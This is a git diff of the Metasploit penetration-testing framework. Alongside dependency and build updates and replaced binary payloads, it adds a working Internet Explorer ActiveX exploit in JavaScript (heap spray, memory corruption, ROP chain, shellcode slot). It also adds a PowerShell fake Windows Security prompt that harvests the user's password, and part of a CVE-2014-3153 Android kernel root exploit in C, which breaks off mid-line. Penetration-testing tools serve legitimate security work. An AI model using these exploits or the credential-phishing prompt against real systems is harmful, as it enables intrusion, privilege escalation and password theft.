diff --git a/.travis.yml b/.travis.yml index 078b0b080f..4a9ffd5e2a 100644 --- a/.travis.yml +++ b/.travis.yml @@ -11,11 +11,10 @@ matrix: before_install: - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc" - rake --version - # Uncomment when we have fewer shipping msftidy warnings. - # Merge committers will still be checking, just not autofailing. - # - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge - # - ls -la ./.git/hooks - # - ./.git/hooks/post-merge + # Fail build if msftidy is not successful + - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge + - ls -la ./.git/hooks + - ./.git/hooks/post-merge before_script: - cp config/database.yml.travis config/database.yml - bundle exec rake --version @@ -26,7 +25,6 @@ script: - git diff --exit-code && bundle exec rake $RAKE_TASKS sudo: false rvm: - - '1.9.3' - '2.1' notifications: diff --git a/Gemfile.lock b/Gemfile.lock index e5fbc1cb28..047c3ab1d4 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -8,8 +8,8 @@ PATH jsobfu (~> 0.2.0) json metasploit-concern (~> 0.3.0) - metasploit-model (~> 0.28.0) - meterpreter_bins (= 0.0.13) + metasploit-model (~> 0.29.0) + meterpreter_bins (= 0.0.14) msgpack nokogiri packetfu (= 1.1.9) @@ -22,9 +22,9 @@ PATH tzinfo metasploit-framework-db (4.11.0.pre.dev) activerecord (>= 3.2.21, < 4.0.0) - metasploit-credential (~> 0.13.16) + metasploit-credential (~> 0.14.0) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 0.22.5) + metasploit_data_models (~> 0.23.0) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -68,7 +68,7 @@ GEM childprocess (>= 0.3.6) cucumber (>= 1.1.1) rspec-expectations (>= 2.7.0) - bcrypt (3.1.9) + bcrypt (3.1.10) builder (3.0.4) capybara (2.4.1) mime-types (>= 1.16) @@ -101,7 +101,7 @@ GEM gherkin (2.11.6) json (>= 1.7.6) hike (1.2.3) - i18n (0.7.0) + i18n (0.6.11) journey (1.0.4) jsobfu (0.2.1) rkelly-remix (= 0.0.6) @@ -112,31 +112,31 @@ GEM metasploit-concern (0.3.0) activesupport (~> 3.0, >= 3.0.0) railties (< 4.0.0) - metasploit-credential (0.13.16) + metasploit-credential (0.14.0) metasploit-concern (~> 0.3.0) - metasploit-model (~> 0.28.0) - metasploit_data_models (~> 0.22.5) + metasploit-model (~> 0.29.0) + metasploit_data_models (~> 0.23.0) pg railties (< 4.0.0) rubyntlm rubyzip (~> 1.1) - metasploit-model (0.28.0) + metasploit-model (0.29.0) activesupport railties (< 4.0.0) - metasploit_data_models (0.22.5) + metasploit_data_models (0.23.0) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers metasploit-concern (~> 0.3.0) - metasploit-model (~> 0.28.0) + metasploit-model (~> 0.29.0) pg railties (< 4.0.0) recog (~> 1.0) - meterpreter_bins (0.0.13) + meterpreter_bins (0.0.14) method_source (0.8.2) mime-types (1.25.1) - mini_portile (0.6.2) - msgpack (0.5.9) + mini_portile (0.6.1) + msgpack (0.5.11) multi_json (1.0.4) network_interface (0.0.1) nokogiri (1.6.5) @@ -172,10 +172,10 @@ GEM rdoc (~> 3.4) thor (>= 0.14.6, < 2.0) rake (10.4.2) - rb-readline (0.5.1) + rb-readline (0.5.2) rdoc (3.12.2) json (~> 1.4) - recog (1.0.7) + recog (1.0.16) nokogiri redcarpet (3.1.2) rkelly-remix (0.0.6) @@ -200,7 +200,7 @@ GEM rspec-expectations (~> 2.99.0) rspec-mocks (~> 2.99.0) rubyntlm (0.4.0) - rubyzip (1.1.6) + rubyzip (1.1.7) shoulda-matchers (2.6.2) simplecov (0.5.4) multi_json (~> 1.0.3) diff --git a/README.md b/README.md index 7a77732047..89e12d47ef 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework) +Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework) == The Metasploit Framework is released under a BSD-style license. See COPYING for more details. diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index ff39e87f11..598f2bd3db 100644 Binary files a/data/android/apk/classes.dex and b/data/android/apk/classes.dex differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 0ef9aa31f6..03f6c44d28 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so index d5b8051f7e..f56cfbe78d 100644 Binary files a/data/android/libs/armeabi/libndkstager.so and b/data/android/libs/armeabi/libndkstager.so differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so index 973ffe39a7..e9635c6bf3 100644 Binary files a/data/android/libs/mips/libndkstager.so and b/data/android/libs/mips/libndkstager.so differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so index 2ebc0a6bcc..358834f300 100644 Binary files a/data/android/libs/x86/libndkstager.so and b/data/android/libs/x86/libndkstager.so differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 2750ad1f42..b1efa83820 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index bbb5fa120e..447bf2a576 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 5eed565220..df61c7beeb 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/exploits/CVE-2014-3153.elf b/data/exploits/CVE-2014-3153.elf new file mode 100755 index 0000000000..2547c04abb Binary files /dev/null and b/data/exploits/CVE-2014-3153.elf differ diff --git a/data/exploits/edb-35948/js/exploit.js b/data/exploits/edb-35948/js/exploit.js new file mode 100644 index 0000000000..9e236998bf --- /dev/null +++ b/data/exploits/edb-35948/js/exploit.js @@ -0,0 +1,126 @@ +var Exploit = function () { + // create its vulnerable ActiveX object (as HTMLObjectElement) + this.obj = document.createElement("object"); + this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B"); + // perform controlled memwrite to 0x1111f010: typed array header is at + // 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with + // 0x00000001 0x00000004 0x00000040 0x1111f030 0x00 + // The first 3 dwords are sideeffects due to the code we abuse for the + // controlled memcpy + this.whereAddress = 0x1111f010; + this.memory = null; + this.addresses = new Object(); + this.sprayer = null; + this.informer = null; + this.sc = "<%=shellcode%>"; +}; + +Exploit.prototype.run = function() { + CollectGarbage(); + this.sprayer = new Sprayer(); + this.sprayer.spray(); + + this.memory = this.doCorruption(); + + //alert(this.memory.length.toString(16)) + if (this.memory.length != 0x7fffffff){ + //alert("Cannot change Uint32Array length"); + return -1; + } + + // now we could even repair the change we did with memcpy ... + + this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress); + var leakSuccess = this.leakAddresses(); + + if (leakSuccess != 0) { + //alert("Cannot leak required address to build the ROP chain"); + return leakSuccess; + } + + var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length); + ropBuilder.buildRop(); + + // manipulate object data to gain EIP control with "Play" method + var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26]; + this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call + + // eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */ + this.obj.Play() +}; + +Exploit.prototype.prepareOverflow = function() { + // prepare buffer with address we want to write to + var ptrBuf = ""; + // fill buffer: length = relative pointer address - buffer start + pointer + // offset + while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" } + ptrBuf += this.dword2str(this.whereAddress); + + return ptrBuf; +}; + +Exploit.prototype.doCorruption = function() { + var ptrBuf = this.prepareOverflow(); + + // trigger: overflow buffer and overwrite the pointer value after buffer + this.obj.SetText(ptrBuf, 0, 0); + //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068") + + // use overwritten pointer after buffer with method "SetFontName" to conduct + // memory write. We overwrite a typed array's header length to 0x40 and let + // its buffer point to the next typed array header at 0x1111f030 (see above) + this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE + + + if (this.sprayer.find() == -1){ + //alert("cannot find corrupted Uint32Array"); + return -1 + } + + // modify subsequent Uint32Array to be able to RW all process memory + this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length + this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem + + // our memory READWRITE interface :) + return this.sprayer.fullMemory; +}; + +Exploit.prototype.leakAddresses = function() { + this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj); + + this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj); + + // check if we have the image of VideoPlayer.ocx + // check for MZ9000 header and "Vide" string at offset 0x6a000 + if (this.memory[this.addresses['base'] / 4] != 0x905a4d || + this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){ + //alert("Cannot find VideoPlayer.ocx base or its version is wrong"); + return -1; + } + //alert(this.addresses['base'].toString(16)) + + // get VirtualAlloc from imports of VideoPlayer.ocx + this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4]; + // memcpy is available inside VideoPlayer.ocx + this.addresses['memcpy'] = this.addresses['base'] + 0x15070; + //alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16)) + + scBuf = new Uint8Array(this.sc.length); + for (n=0; n < this.sc.length; n++){ + scBuf[n] = this.sc.charCodeAt(n); + } + + this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf); + + return 0; +}; + +// dword to little endian string +Exploit.prototype.dword2str = function(dword) { + var str = ""; + for (var n=0; n < 4; n++){ + str += String.fromCharCode((dword >> 8 * n) & 0xff); + } + return str; +}; diff --git a/data/exploits/edb-35948/js/informer.js b/data/exploits/edb-35948/js/informer.js new file mode 100644 index 0000000000..f9d0192062 --- /dev/null +++ b/data/exploits/edb-35948/js/informer.js @@ -0,0 +1,52 @@ +var Informer = function(infArray, mem, ref) { + this.infoLeakArray = infArray; + this.memoryArray = mem; + this.referenceAddress = ref; +}; + +// Calculate VideoPlayer.ocx base +Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) { + this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element + //alert(mem[0x11120020/4].toString(16)) + var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj) + var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18 + var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64 + // deref heap pointer containing VideoPlayer.ocx pointer + var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4]; + var base = videoplayerPtr - 0x6b3b0; // calculate base + + return base; +}; + +// Calculate VideoPlayer object addres +Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) { + this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element + //alert(mem[0x11120020/4].toString(16)) + var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj) + var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18 + + return objPtr; +}; + +// Calculate the shellcode address +Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) { + this.infoLeakArray[0] = shellcodeBuffer; + // therefore, leak array element at 0x11120020 (typed array header of + // Uint8Array containing shellcode) ... + var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; + // ...and deref array element + 0x1c (=> leak shellcode's buffer address) + var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7] + + return shellcodeAddr; +}; + + +Informer.prototype.leakRopAddress = function(ropArray) { + this.infoLeakArray[0] = ropArray + // leak array element at 0x11120020 (typed array header) + var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; + // deref array element + 0x1c (leak rop's buffer address) + var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address + + return ropAddr; +}; diff --git a/data/exploits/edb-35948/js/rop_builder.js b/data/exploits/edb-35948/js/rop_builder.js new file mode 100644 index 0000000000..993669540b --- /dev/null +++ b/data/exploits/edb-35948/js/rop_builder.js @@ -0,0 +1,38 @@ +var RopBuilder = function(informer, addresses, scLength) { + this.rop = new Uint32Array(0x1000); + this.ropAddress = informer.leakRopAddress(this.rop); + this.base = addresses['base']; + this.virtualAlloc = addresses['virtualAlloc']; + this.memcpy = addresses['memcpy']; + this.scAddr = addresses['shellcode']; + this.scLength = scLength; +}; + +// Build the ROP chain to bypass DEP +RopBuilder.prototype.buildRop = function() { + // ROP chain (rets in comments are omitted) + // we perform: + // (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX) + // memcpy(EAX, shellcode, shellcodeLen) + // (void(*)())EAX() + var offs = 0x30/4; // offset to chain after CALL [EAX+0x30] + this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30; + this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called + this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX) + this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7 + this.rop[offs + 0x3] = 0; // lpAddress + this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000) + this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT) + this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE) + this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2) + this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem + this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX; + this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain + this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem + this.rop[offs + 0xc] = this.memcpy; + this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime + this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime + this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2) + this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3) +}; + diff --git a/data/exploits/edb-35948/js/sprayer.js b/data/exploits/edb-35948/js/sprayer.js new file mode 100644 index 0000000000..8d6a5bbcd4 --- /dev/null +++ b/data/exploits/edb-35948/js/sprayer.js @@ -0,0 +1,58 @@ +var Sprayer = function () { + // amount of arrays to create on the heap + this.nrArrays = 0x1000; + // size of data in one array block: 0xefe0 bytes => + // subract array header (0x20) and space for typed array headers (0x1000) + // from 0x10000 + this.arrSize = (0x10000-0x20-0x1000)/4; + // heap array container will hold our heap sprayed data + this.arr = new Array(this.nrArrays); + // use one buffer for all typed arrays + this.intArrBuf = new ArrayBuffer(4); + this.corruptedArray = null; + this.corruptedArrayNext = null; +}; + +// Spray the heap with array data blocks and subsequent typed array headers +// of type Uint32Array +Sprayer.prototype.spray = function() { + var k = 0; + while(k < this.nrArrays) { + // create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data + // aligned at 0xXXXX0020) + this.arr[k] = new Array(this.arrSize); + + // fill remaining page (0x1000) after array data with headers of + // "jscript9!Js::TypedArray" (0x55 * 0x30 = 0xff0) as a + // typed array header has the size of 0x30. 0x10 bytes are left empty + for(var i = 0; i < 0x55; i++){ + // headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,... + this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1); + } + + // tag the array's last element + this.arr[k][this.arrSize - 1] = 0x12121212; + k += 1; + } +}; + +// Find the corrupted Uint32Array (typed array) +Sprayer.prototype.find = function() { + var k = 0; + + while(k < this.nrArrays - 1) { + for(var i = 0; i < 0x55-1; i++){ + if(this.arr[k][i][0] != 0){ + // address of jscript9!Js::TypedArray::`vftable' + // alert("0x" + arr[k][i][0].toString(16)) + this.corruptedArray = this.arr[k][i]; + this.corruptedArrayNext = this.arr[k+1]; + this.fullMemory = this.arr[k][i+1]; + return 1; + } + } + k++; + } + + return -1; +}; \ No newline at end of file diff --git a/data/exploits/edb-35948/main.html b/data/exploits/edb-35948/main.html new file mode 100644 index 0000000000..74bc867a8e --- /dev/null +++ b/data/exploits/edb-35948/main.html @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin deleted file mode 100644 index 4775e14a86..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin deleted file mode 100644 index e1f50dc695..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin deleted file mode 100644 index 8790163d3b..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin deleted file mode 100644 index da3d498236..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin deleted file mode 100644 index 1f2c9feb5c..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin deleted file mode 100644 index f8dc1efd54..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin and /dev/null differ diff --git a/data/java/javaCompile/CompileSourceInMemory.class b/data/java/javaCompile/CompileSourceInMemory.class deleted file mode 100755 index 31dbb0a8f2..0000000000 Binary files a/data/java/javaCompile/CompileSourceInMemory.class and /dev/null differ diff --git a/data/java/javaCompile/CreateJarFile.class b/data/java/javaCompile/CreateJarFile.class deleted file mode 100755 index 3a295c4e84..0000000000 Binary files a/data/java/javaCompile/CreateJarFile.class and /dev/null differ diff --git a/data/java/javaCompile/JavaSourceFromString.class b/data/java/javaCompile/JavaSourceFromString.class deleted file mode 100755 index 1b451a4f56..0000000000 Binary files a/data/java/javaCompile/JavaSourceFromString.class and /dev/null differ diff --git a/data/java/javaCompile/SignJar$FilteredStream.class b/data/java/javaCompile/SignJar$FilteredStream.class deleted file mode 100755 index 71f7a5400c..0000000000 Binary files a/data/java/javaCompile/SignJar$FilteredStream.class and /dev/null differ diff --git a/data/java/javaCompile/SignJar.class b/data/java/javaCompile/SignJar.class deleted file mode 100755 index ad0b3be88d..0000000000 Binary files a/data/java/javaCompile/SignJar.class and /dev/null differ diff --git a/data/java/metasploit/JMXPayload.class b/data/java/metasploit/JMXPayload.class new file mode 100644 index 0000000000..4085175436 Binary files /dev/null and b/data/java/metasploit/JMXPayload.class differ diff --git a/data/java/metasploit/JMXPayloadMBean.class b/data/java/metasploit/JMXPayloadMBean.class new file mode 100644 index 0000000000..1aa20d9df8 Binary files /dev/null and b/data/java/metasploit/JMXPayloadMBean.class differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index c5e8c9239b..dfc11e7b7d 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index a961039b86..14f9efd376 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_stdapi.jar b/data/meterpreter/ext_server_stdapi.jar index b6a01cac09..ccefb121cf 100644 Binary files a/data/meterpreter/ext_server_stdapi.jar and b/data/meterpreter/ext_server_stdapi.jar differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 8821f09127..3690cf6fbf 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/meterpreter.jar b/data/meterpreter/meterpreter.jar index 6754a37228..65679d7ba9 100644 Binary files a/data/meterpreter/meterpreter.jar and b/data/meterpreter/meterpreter.jar differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index b69b412cf9..d508fd9f22 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/post/powershell/Invoke-LoginPrompt.ps1 b/data/post/powershell/Invoke-LoginPrompt.ps1 new file mode 100644 index 0000000000..59a303c827 --- /dev/null +++ b/data/post/powershell/Invoke-LoginPrompt.ps1 @@ -0,0 +1,22 @@ +function Invoke-LoginPrompt{ +$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","") +$username = "$env:username" +$domain = "$env:userdomain" +$full = "$domain" + "\" + "$username" +$password = $cred.GetNetworkCredential().password +Add-Type -assemblyname System.DirectoryServices.AccountManagement +$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) +while($DS.ValidateCredentials("$full","$password") -ne $True){ + $cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","") + $username = "$env:username" + $domain = "$env:userdomain" + $full = "$domain" + "\" + "$username" + $password = $cred.GetNetworkCredential().password + Add-Type -assemblyname System.DirectoryServices.AccountManagement + $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) + $DS.ValidateCredentials("$full", "$password") | out-null + } + $output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password + $output + R{START_PROCESS} +} diff --git a/db/schema.rb b/db/schema.rb index f7296903b9..e27c3a8b04 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20150112203945) do +ActiveRecord::Schema.define(:version => 20150212214222) do create_table "api_keys", :force => true do |t| t.text "token" diff --git a/external/source/exploits/CVE-2014-3153/Android.mk b/external/source/exploits/CVE-2014-3153/Android.mk new file mode 100644 index 0000000000..8132a47f99 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/Android.mk @@ -0,0 +1,10 @@ + +LOCAL_PATH := $(call my-dir) + +include $(CLEAR_VARS) + +LOCAL_MODULE := exploit +LOCAL_SRC_FILES := exploit.c +LOCAL_CFLAGS := -fno-stack-protector -O0 +include $(BUILD_EXECUTABLE) + diff --git a/external/source/exploits/CVE-2014-3153/Makefile b/external/source/exploits/CVE-2014-3153/Makefile new file mode 100644 index 0000000000..c6ce0c76b0 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/Makefile @@ -0,0 +1,17 @@ + +all: install + +build: + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk + +install: build + mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf + +test: build + adb push libs/armeabi/exploit /data/local/tmp/exploit + adb shell "cd /data/local/tmp; ./exploit id" + +clean: + rm -rf libs + rm -rf obj + diff --git a/external/source/exploits/CVE-2014-3153/exploit.c b/external/source/exploits/CVE-2014-3153/exploit.c new file mode 100644 index 0000000000..d012f57a20 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/exploit.c @@ -0,0 +1,834 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define FUTEX_WAIT_REQUEUE_PI 11 +#define FUTEX_CMP_REQUEUE_PI 12 + +#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a))) + +#define KERNEL_START 0xc0000000 + +#define LOCAL_PORT 5551 + +struct thread_info; +struct task_struct; +struct cred; +struct kernel_cap_struct; +struct task_security_struct; +struct list_head; + +struct thread_info { + unsigned long flags; + int preempt_count; + unsigned long addr_limit; + struct task_struct *task; + + /* ... */ +}; + +struct kernel_cap_struct { + unsigned long cap[2]; +}; + +struct cred { + unsigned long usage; + uid_t uid; + gid_t gid; + uid_t suid; + gid_t sgid; + uid_t euid; + gid_t egid; + uid_t fsuid; + gid_t fsgid; + unsigned long securebits; + struct kernel_cap_struct cap_inheritable; + struct kernel_cap_struct cap_permitted; + struct kernel_cap_struct cap_effective; + struct kernel_cap_struct cap_bset; + unsigned char jit_keyring; + void *thread_keyring; + void *request_key_auth; + void *tgcred; + struct task_security_struct *security; + + /* ... */ +}; + +struct list_head { + struct list_head *next; + struct list_head *prev; +}; + +struct task_security_struct { + unsigned long osid; + unsigned long sid; + unsigned long exec_sid; + unsigned long create_sid; + unsigned long keycreate_sid; + unsigned long sockcreate_sid; +}; + + +struct task_struct_partial { + struct list_head cpu_timers[3]; + struct cred *real_cred; + struct cred *cred; + struct cred *replacement_session_keyring; + char comm[16]; +}; + + +struct mmsghdr { + struct msghdr msg_hdr; + unsigned int msg_len; +}; + +//bss +int uaddr1 = 0; +int uaddr2 = 0; +struct thread_info *HACKS_final_stack_base = NULL; +pid_t waiter_thread_tid; +pthread_mutex_t done_lock; +pthread_cond_t done; +pthread_mutex_t is_thread_desched_lock; +pthread_cond_t is_thread_desched; +volatile int do_socket_tid_read = 0; +volatile int did_socket_tid_read = 0; +volatile int do_splice_tid_read = 0; +volatile int did_splice_tid_read = 0; +volatile int do_dm_tid_read = 0; +volatile int did_dm_tid_read = 0; +pthread_mutex_t is_thread_awake_lock; +pthread_cond_t is_thread_awake; +int HACKS_fdm = 0; +unsigned long MAGIC = 0; +unsigned long MAGIC_ALT = 0; +pthread_mutex_t *is_kernel_writing; +pid_t last_tid = 0; +int g_argc; +char rootcmd[2048] = ""; + + +ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) { + int pipefd[2]; + ssize_t len; + + pipe(pipefd); + + len = write(pipefd[1], writebuf, count); + + if (len != count) { + printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno); + while (1) { + sleep(10); + } + } + + read(pipefd[0], readbuf, count); + + close(pipefd[0]); + close(pipefd[1]); + + return len; +} + +ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) { + int pipefd[2]; + ssize_t len; + + pipe(pipefd); + + write(pipefd[1], writebuf, count); + len = read(pipefd[0], readbuf, count); + + if (len != count) { + printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno); + while (1) { + sleep(10); + } + } + + close(pipefd[0]); + close(pipefd[1]); + + return len; +} + +void write_kernel(int signum) +{ + struct thread_info stackbuf; + unsigned long taskbuf[0x100]; + struct cred *cred; + struct cred credbuf; + struct task_security_struct *security; + struct task_security_struct securitybuf; + pid_t pid; + int i; + int ret; + FILE *fp; + + pthread_mutex_lock(&is_thread_awake_lock); + pthread_cond_signal(&is_thread_awake); + pthread_mutex_unlock(&is_thread_awake_lock); + + if (HACKS_final_stack_base == NULL) { + static unsigned long new_addr_limit = 0xffffffff; + char *slavename; + int pipefd[2]; + char readbuf[0x100]; + + printf("cpid1 resumed\n"); + + pthread_mutex_lock(is_kernel_writing); + + HACKS_fdm = open("/dev/ptmx", O_RDWR); + unlockpt(HACKS_fdm); + slavename = ptsname(HACKS_fdm); + + open(slavename, O_RDWR); + + do_splice_tid_read = 1; + while (1) { + if (did_splice_tid_read != 0) { + break; + } + } + + read(HACKS_fdm, readbuf, sizeof readbuf); + + printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit); + + write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit); + + pthread_mutex_unlock(is_kernel_writing); + + while (1) { + sleep(10); + } + } + + printf("cpid3 resumed.\n"); + + pthread_mutex_lock(is_kernel_writing); + + printf("hack.\n"); + + read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf); + read_pipe(stackbuf.task, taskbuf, sizeof taskbuf); + + cred = NULL; + security = NULL; + pid = 0; + + for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { + struct task_struct_partial *task = (void *)&taskbuf[i]; + + + if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START + && task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START + && task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START + && task->real_cred == task->cred) { + cred = 